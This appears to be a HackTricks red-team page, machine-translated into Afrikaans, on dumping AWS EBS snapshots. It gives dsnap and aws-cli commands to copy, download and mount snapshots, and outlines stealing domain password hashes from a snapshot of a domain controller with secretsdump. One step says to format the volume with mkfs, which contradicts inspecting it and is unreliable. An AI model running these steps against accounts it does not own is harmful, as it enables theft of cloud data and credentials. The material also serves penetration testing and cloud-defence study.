AWS - EBS Snapshot Dump

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Checking a snapshot locally

# Install dependencies
pip install 'dsnap[cli]'
brew install vagrant
brew install virtualbox

# Get snapshot from image
mkdir snap_wordir; cd snap_workdir
dsnap init
## Download a snapshot of the volume of that instance
## If no snapshot existed it will try to create one
dsnap get <instance-id>
dsnap --profile default --region eu-west-1 get i-0d706e33814c1ef9a
## Other way to get a snapshot
dsnap list #List snapshots
dsnap get snap-0dbb0347f47e38b96 #Download snapshot directly

# Run with vagrant
IMAGE="<download_file>.img" vagrant up #Run image with vagrant+virtuabox
IMAGE="<download_file>.img" vagrant ssh #Access the VM
vagrant destroy #To destoy

# Run with docker
git clone https://github.com/RhinoSecurityLabs/dsnap.git
cd dsnap
make docker/build
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded

Let daarop dat dsnap jou nie sal toelaat om openbare snaphots af te laai nie. Om dit te omseil, kan jy 'n kopie van die snapshot in jou persoonlike rekening maak en dit aflaai:

# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"

# View the snapshot info
aws ec2 describe-snapshots --owner-ids self --region us-east-2

# Download the snapshot. The ID is the copy from your account
dsnap --region us-east-2 get snap-027da41be451109da

# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2

Vir meer inligting oor hierdie tegniek, kyk na die oorspronklike navorsing op https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/

Jy kan dit doen met Pacu deur die module ebs__download_snapshots te gebruik

Kontroleer 'n afskrif in AWS

aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id snap-0b49342abd1bdcb89

Monteer dit in 'n EC2 VM onder jou beheer (dit moet in dieselfde streek wees as die kopie van die rugsteun):

Stap 1: 'n Nuwe volume van jou verkose grootte en tipe moet geskep word deur na EC2 –> Volumes te gaan.

Om hierdie aksie uit te voer, volg hierdie bevele:

  • Skep 'n EBS-volume om aan die EC2-instantie te heg.

  • Verseker dat die EBS-volume en die instansie in dieselfde sone is.

Stap 2: Die "heg volume" opsie moet gekies word deur regs te klik op die geskepte volume.

Stap 3: Die instansie moet gekies word uit die instansie tekskas.

Om hierdie aksie uit te voer, gebruik die volgende bevel:

  • Heg die EBS-volume.

Stap 4: Teken in op die EC2-instansie en lys die beskikbare skywe deur die bevel lsblk te gebruik.

Stap 5: Kontroleer of die volume enige data het deur die bevel sudo file -s /dev/xvdf te gebruik.

As die uitset van die bogenoemde bevel "/dev/xvdf: data" toon, beteken dit dat die volume leeg is.

Stap 6: Formateer die volume na die ext4-lêersisteem deur die bevel sudo mkfs -t ext4 /dev/xvdf te gebruik. Alternatiewelik kan jy ook die xfs-formaat gebruik deur die bevel sudo mkfs -t xfs /dev/xvdf te gebruik. Let asseblief daarop dat jy óf ext4 óf xfs moet gebruik.

Stap 7: Skep 'n gids van jou keuse om die nuwe ext4-volume te monteer. Byvoorbeeld, jy kan die naam "newvolume" gebruik.

Om hierdie aksie uit te voer, gebruik die bevel sudo mkdir /newvolume.

Stap 8: Monteer die volume na die "newvolume" gids deur die bevel sudo mount /dev/xvdf /newvolume/ te gebruik.

Stap 9: Verander die gids na die "newvolume" gids en kontroleer die skyfspasie om die volume-montage te valideer.

Om hierdie aksie uit te voer, gebruik die volgende bevele:

  • Verander gids na /newvolume.

  • Kontroleer die skyfspasie deur die bevel df -h . te gebruik. Die uitset van hierdie bevel moet die vrye spasie in die "newvolume" gids toon.

Jy kan dit doen met Pacu deur die module ebs__explore_snapshots.

Kontroleer 'n rugsteun in AWS (deur die cli te gebruik)

aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>

# Attach new volume to instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>

# mount the snapshot from within the VM

sudo file -s /dev/sdh
/dev/sdh: symbolic link to `xvdh'

sudo file -s /dev/xvdh
/dev/xvdh: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 16777215 sectors, extended partition table (last)\011, code offset 0x63

lsblk /dev/xvdh
NAME     MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvdh     202:112  0    8G  0 disk
├─xvdh1  202:113  0  7.9G  0 part
├─xvdh14 202:126  0    4M  0 part
└─xvdh15 202:127  0  106M  0 part

sudo mount /dev/xvdh1 /mnt

ls /mnt

Skadukopie

Enige AWS-gebruiker wat die EC2:CreateSnapshot-permissie besit, kan die hasjies van alle domeingebruikers steel deur 'n skadu van die domeinbeheerder te skep, dit aan 'n instansie wat hulle beheer te koppel en die NTDS.dit en SYSTEM-registerhive-lêer uit te voer vir gebruik met Impacket se secretsdump projek.

Jy kan hierdie instrument gebruik om die aanval te outomatiseer: https://github.com/Static-Flow/CloudCopy of jy kan een van die vorige tegnieke gebruik nadat jy 'n skadu geskep het.

Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated